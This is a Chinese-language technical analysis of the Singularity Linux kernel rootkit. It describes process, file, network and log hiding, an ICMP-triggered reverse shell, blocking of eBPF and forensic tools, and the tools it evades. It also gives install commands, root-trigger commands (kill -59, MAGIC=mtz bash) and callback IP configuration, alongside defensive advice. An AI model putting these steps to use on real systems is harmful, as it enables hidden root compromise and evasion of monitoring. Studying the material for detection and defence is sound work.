Singularity Linux 内核 Rootkit 技术分析
一、概述
1. 项目简介
Singularity 是一个专为现代 Linux 6.x 内核设计的内核级 Rootkit 概念验证,由安全研究员 MatheuZSecurity(Matheus Alves)开发。该项目通过 ftrace 基础架构实现系统调用劫持,展示了内核级持久化和隐蔽技术的极限。
2. 核心定位
A. 研究性质
该项目明确标注为教育和研究用途,旨在探索内核级隐蔽技术的边界,帮助安全研究人员和防御者理解内核 Rootkit 的能力范围。
B. 技术特点
- 针对 Linux 6.x 系列内核的现代实现
- 基于 ftrace 的系统调用劫持机制
- 全方位的隐蔽能力覆盖
- 多层次的检测对抗措施
3. 项目背景
Linux Rootkit 技术持续演进,从早期的内核模块劫持到现代的 eBPF 检测对抗。Singularity 代表了当前内核级隐蔽技术的前沿水平,整合了进程隐藏、文件隐藏、网络隐蔽、权限提升等多种功能。
二、技术架构
1. 系统组成
graph TB
A[Singularity Rootkit] --> B[ftrace 劫持层]
A --> C[功能模块层]
A --> D[保护机制层]
A --> E[隐蔽功能层]
C --> C1[进程隐藏]
C --> C2[文件隐藏]
C --> C3[网络隐蔽]
C --> C4[权限提升]
D --> D1[eBPF 阻断]
D --> D2[io_uring 保护]
D --> D3[模块加载阻止]
D --> D4[ftrace 控制保护]
E --> E1[日志清理]
E --> E2[模块自隐藏]
E --> E3[内存取证对抗]
E --> E4[审计逃逸]2. 核心组件
A. ftrace 劫持框架
Singularity 使用 Linux ftrace 基础架构实现系统调用劫持。ftrace 是 Linux 内核的跟踪工具,提供函数回调钩子机制。
技术优势:
- 无需修改内核源码
- 动态安装和卸载钩子
- 相比传统 syscall 表劫持更隐蔽
B. 功能模块架构
项目采用模块化设计,各功能独立实现并通过核心头文件协调:
| 模块 | 功能 | 核心文件 |
|---|---|---|
| 进程隐藏 | 隐藏进程及其子进程 | hiding_directory.c, become_root.c |
| 文件隐藏 | 基于模式的文件/目录隐藏 | hiding_directory.c, hiding_stat.c |
| 网络隐蔽 | 隐藏 TCP/UDP 连接和端口 | hiding_tcp.c |
| 权限提升 | 环境变量和信号触发 | become_root.c |
| 日志清理 | 实时过滤内核日志 | clear_taint_dmesg.c |
| 保护机制 | 阻止检测工具 | bpf_hook.c, hooking_insmod.c |
C. 模块间交互
sequenceDiagram
participant U as 用户操作
participant H as Hook 层
participant F as 功能模块
participant K as 内核
U->>H: 系统调用
H->>H: 检查是否需要劫持
alt 需要隐藏
H->>F: 调用隐藏逻辑
F->>K: 返回过滤结果
H-->>U: 返回伪造结果
else 正常流程
H->>K: 原始系统调用
K-->>U: 返回正常结果
end三、核心功能分析
1. 进程隐藏机制
A. 实现原理
Singularity 通过劫持多个系统调用和内核接口实现进程的完全隐藏:
劫持的系统调用:
- getdents, getdents64:过滤目录列表
- stat, lstat, statx, newfstatat:隐藏文件元数据
- openat:阻止访问 /proc/[pid]
- readlinkat:阻断符号链接解析
- kill, getsid, getpgid:返回进程不存在错误
- sched_getaffinity, getpriority:隐藏调度信息
- sysinfo:调整进程计数
- pidfd_open:阻止 PID 文件描述符打开
B. 子进程自动追踪
通过 sched_process_fork tracepoint 钩子,Singularity 能够自动追踪并隐藏被隐藏进程的所有子进程,无需手动配置。
C. 使用方式
通过 kill 信号触发进程隐藏:
# 隐藏当前 shell
kill -59 $$
# 隐藏指定进程
kill -59 <PID>2. 文件系统隐藏
A. 模式匹配机制
Singularity 使用前缀匹配机制隐藏文件和目录。默认隐藏前缀为 singularity、obliviate 等关键字的文件。
B. 防护措施
为了防止隐藏文件被访问,项目还劫持了 chdir 系统调用,阻止用户进入隐藏目录,但允许直接访问其中的文件。
C. 实现细节
劫持的系统调用:
- getdents, getdents64:过滤目录项
- stat, lstat, newfstatat:隐藏文件状态
- readlinkat:阻断符号链接解析
- chdir:阻止进入隐藏目录
3. 网络隐蔽能力
A. 多层网络隐藏
Singularity 在多个网络层面上隐藏连接:
Proc 文件系统层:
- 劫持 tcp4_seq_show, tcp6_seq_show
- 劫持 udp4_seq_show, udp6_seq_show
- 过滤 /proc/net/* 接口输出
Netlink 层:
- 过滤 SOCK_DIAG 查询(ss、lsof 使用)
- 过滤 NETFILTER/conntrack 消息(conntrack 工具使用)
数据包层:
- 在 tpacket_rcv 层丢弃数据包
- 阻止 tcpdump、wireshark 等工具捕获
B. Conntrack 过滤
隐藏 /proc/net/nf_conntrack 中的连接条目,并过滤 netlink conntrack 查询,防止连接追踪工具检测到隐藏的网络活动。
C. 使用场景
配置特定端口后,该端口上的所有网络连接自动隐藏,对 netstat、ss、lsof、tcpdump 等工具不可见。
4. 权限提升功能
A. 环境变量触发
通过设置特定的环境变量触发权限提升:
MAGIC=mtz bash
# 新 shell 将拥有 root 权限B. 信号触发
通过 kill 信号触发权限提升:
kill -59 $$
# 后续命令以 root 权限执行C. 实现位置
该功能在 become_root.c 模块中实现,通过劫持 kill 和 getuid 系统调用实现。
5. ICMP 反向 Shell
A. 触发机制
Singularity 提供了一个隐蔽的后门机制,通过 ICMP 数据包触发反向 shell 连接。
B. 实现原理
- 内核模块监听 ICMP 数据包
- 检测特定格式的 ICMP 触发包
- 建立到配置服务器的 TCP 反向连接
- 自动隐藏该 shell 及其所有子进程
- 如果激活,自动绕过 SELinux enforcing 模式
C. 配置要求
需要在 include/core.h 中配置服务器 IP 和端口。
sequenceDiagram
participant A as 攻击者
participant T as 目标主机
participant S as 服务器
A->>T: 发送 ICMP 触发包
T->>T: 检测触发信号
T->>S: 建立 TCP 反向连接
T->>T: 隐藏 shell 进程
T->>T: 绕过 SELinux(如激活)
S-->>A: 提供 root shell 访问四、保护机制分析
1. 检测对抗能力
A. eBPF 阻断
Singularity 劫持 bpf 系统调用,阻止以下 eBPF 操作:
- BPF_PROG_LOAD:加载 eBPF 程序
- BPF_ITER_CREATE:创建 eBPF 迭代器
- BPF_RAW_TRACEPOINT_OPEN:打开原始跟踪点
- BPF_LINK_CREATE:创建 eBPF 链接
- 来自隐藏 PID 的所有 eBPF 操作
B. io_uring 保护
针对现代 Linux 中可能绕过 ftrace 检查的 io_uring 异步 I/O 机制,Singularity 实现了智能缓存机制,每 PID 缓存 1 秒,防止重复进程扫描。
C. 模块加载阻止
劫持 init_module 和 finit_module 系统调用,防止其他内核模块加载,可能用于阻止安全工具的内核模块加载。
D. ftrace 控制保护
阻止尝试禁用 ftrace 的操作:
echo 0 > /proc/sys/kernel/ftrace_enabled
# 表面成功但实际无效受保护的系统调用包括:write、writev、pwrite64、pwritev、pwritev2、sendfile、splice、tee、copy_file_range、io_uring_enter。
2. 日志清理机制
A. 多层日志过滤
Singularity 在多个层面上清理日志痕迹:
内核日志接口:
- /proc/kmsg read hook
- do_syslog hook(klogctl 系统调用)
- /sys/kernel/debug/tracing/* read hook
- sched_debug_show hook
系统日志:
- /var/log/kern.log、syslog、auth.log read hook
- journalctl -k write hook(输出过滤)
内存取证对抗:
- /proc/kcore、/proc/kallsyms、/proc/vmallocinfo read hook
B. 过滤关键词
自动过滤以下敏感字符串:taint、journal、singularity、Singularity、matheuz、zer0t、kallsyms_lookup_name、obliviate、hook、hooked_、constprop、clear_taint、ftrace_helper、fh_install、fh_remove
C. Netlink 审计过滤
在 netlink 层丢弃隐藏进程的审计消息,并维护统计计数(get_blocked_audit_count、get_total_audit_count),防止审计系统检测到异常。
3. 模块自隐藏
A. 隐藏位置
Singularity 加载后自动从以下位置隐藏:
- lsmod 命令输出
- /proc/modules 文件
- /sys/module/ 目录
B. Taint 标志清理
内核会标记已加载非 GPL 模块或已污染内核的状态。Singularity 通过内核线程定期清理 taint_mask,清除内核污染标志。
4. 磁盘取证对抗
A. 写系统调用劫持
Singularity 劫持 write 系统调用,检测和过滤磁盘取证工具的输出:
检测逻辑:
- 检测进程是否打开块设备(/dev/sda、/dev/nvme0n1 等)
- 检测 debugfs 风格的输出模式(inode 列表、文件系统元数据)
- 原位清理隐藏模式(替换为空格以保持缓冲区大小和校验和)
B. 检测模式
识别以下模式并进行过滤:
- debugfs: 前缀
- 带括号的 inode 列表
- Inode count、Block count、Filesystem volume name
- Filesystem UUID、e2fsck、Inode 等元数据
5. Cgroup 过滤
隐藏进程的 PID 从 cgroup.procs 中过滤,防止通过 /sys/fs/cgroup/*/cgroup.procs 检测隐藏进程。
6. TaskStats 阻断
阻止 TaskStats netlink 查询,防止通过该机制进行 PID 枚举。
五、兼容性和支持
1. 测试环境
| 内核版本 | 发行版 | 状态 | 备注 |
|---|---|---|---|
| 6.8.0-79-generic | Ubuntu 22.04/24.04 | 稳定 | 主要开发环境 |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | 稳定 | RHEL 系内核 |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | 稳定 | Debian 内核 |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | 稳定 | SELinux 强制绕过验证 |
| 6.17.0-8-generic | Ubuntu 25.10 | 稳定 | 较新的通用内核 |
2. 多架构支持
支持 x86_64(__x64_sys_)和 ia32(__ia32_sys_、__ia32_compat_sys_*)两种架构。
六、安装和配置
1. 前置要求
- Linux 内核 6.x
- 内核头文件
- GCC 和 Make
- Root 权限
2. 快速安装
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
sudo bash scripts/x.sh
cd ..3. 配置服务器 IP
编辑 include/core.h:
#define YOUR_SRV_IP "192.168.1.100"
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }编辑 modules/icmp.c:
#define SRV_PORT "8081"七、检测和防御
1. 作者声明
作者承认即使有所有这些过滤、保护和钩子,仍然有方法可以检测这个 Rootkit。但作者选择不修补这些检测方法。
2. 潜在检测方法
虽然文档未明确说明,但基于项目实现,可能的检测方法包括:
- 直接内核内存分析(绕过被劫持的系统调用)
- 硬件级别的监控和分析
- 启动早期的内核模块检测
- 时间侧通道分析
3. 防御建议
A. 系统层面
- 启用 Secure Boot 和模块签名验证
- 使用内核锁定模式(Kernel Lockdown Mode)
- 部署内核级别的完整性监控
B. 监控层面
- 实施 eBPF 基础的深度监控(在 Rootkit 加载前)
- 部署基于硬件的监控解决方案
- 建立基线行为分析
C. 检测层面
- 定期进行内核模块审计
- 使用多种独立检测工具交叉验证
- 实施启动早期的 Rootkit 扫描
八、绕过的安全工具
1. 进程监控工具
ps、top、htop 等进程监控工具无法检测到隐藏的进程。
2. 文件系统工具
ls、find、locate、stat、lstat、readlink 等工具无法发现隐藏的文件和目录。
3. 磁盘取证工具
debugfs、e2fsck 等工具的输出被 write hook 过滤,隐藏文件仍然不可见。
4. 内存取证工具
Volatility、crash、gdb 通过 /proc/kcore 过滤被绕过。
5. 网络监控工具
netstat、ss、lsof、tcpdump、wireshark、conntrack 以及 /proc/net/* 接口都被绕过。
6. 日志和跟踪工具
dmesg、journalctl -k、klogctl、strace、ltrace、ftrace、perf、bpftrace、bpftool、libbpf。
7. Rootkit 检测工具
unhide、chkrootkit、rkhunter 等标准 Rootkit 检测工具被绕过。
8. 模块检测工具
lsmod、modinfo、/sys/module、/proc/modules、kmod 都无法检测到 Singularity 模块。
9. 现代检测工具
部分基于 eBPF 的安全工具(如 Tracee)、基于 io_uring 的监控工具以及部分 Linux EDR 产品被绕过。
九、项目结构
1. 目录组织
- ftrace:ftrace 劫持相关代码
- include:头文件和配置
- modules:功能模块实现
- scripts:安装和辅助脚本
- main.c:主入口
- setup.sh:安装脚本
- load_and_persistence.sh:持久化脚本
2. 关键文件
- include/core.h:核心配置和宏定义
- modules/icmp.c:ICMP 反向 shell 实现
- modules/bpf_hook.c:eBPF 系统调用劫持
- modules/hiding_*.c:各种隐藏功能实现
- clear_taint_dmesg.c:日志清理和 taint 标志清除
十、总结
1. 技术意义
Singularity 展示了现代 Linux 内核 Rootkit 技术的能力边界,整合了多种高级隐蔽和对抗技术,对安全研究和防御工作具有重要参考价值。
2. 教育价值
该项目为内核安全研究人员提供了学习材料,帮助理解:
- ftrace 基础架构的使用
- 系统调用劫持技术
- 内核级隐蔽技术
- 检测对抗方法
3. 防御启示
Singularity 的存在提醒安全从业者:
- 内核级威胁的严重性
- 传统检测工具的局限性
- 需要多层防御策略
- 早期检测的重要性
4. 法律和道德声明
作者明确声明该项目仅用于教育和研究目的,强调:
- 仅在拥有系统或获得明确书面授权的系统上测试
- 未授权访问计算机系统在大多数司法管辖区是非法的
- 作者不对软件的任何滥用负责